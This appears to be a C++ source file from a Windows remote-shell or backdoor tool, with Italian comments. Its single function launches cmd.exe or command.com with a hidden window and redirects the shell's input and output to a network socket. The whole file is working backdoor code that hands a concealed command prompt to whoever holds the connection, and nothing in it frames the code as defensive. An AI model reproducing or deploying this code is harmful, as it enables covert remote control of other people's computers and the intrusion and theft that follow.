#include "RemoteShell.h"
/*
Thanks to http://unsecure.altervista.org/shell/shell.htm
*/
void OpenShell(SOCKET socket){
char *pWindir = getWindowsDirectory();
char *pSysdir = getSystemDirectory();
char *pShellpath = new char[MAX_PATH];
STARTUPINFO si;
PROCESS_INFORMATION pi;
int isnt = isNT();
GetWindowsDirectory(pWindir,50);
if (isnt){
wsprintf(pShellpath,"%s\\%s\0",pSysdir,"cmd");
}else{
wsprintf(pShellpath,"%s\\%s\0",pWindir,"command.com");
}
memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (void *)socket; // posso assegnare lo standard input direttamente alla socket
si.hStdOutput = (void *)socket; // devo utilizzare un cast in quanto la socket ?n intero,
si.hStdError = (void *)socket; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
if (CreateProcess(NULL, pShellpath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)){
//Aspetta fino alla fine dell'esecuzione (fino a quando non riceve exit)
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}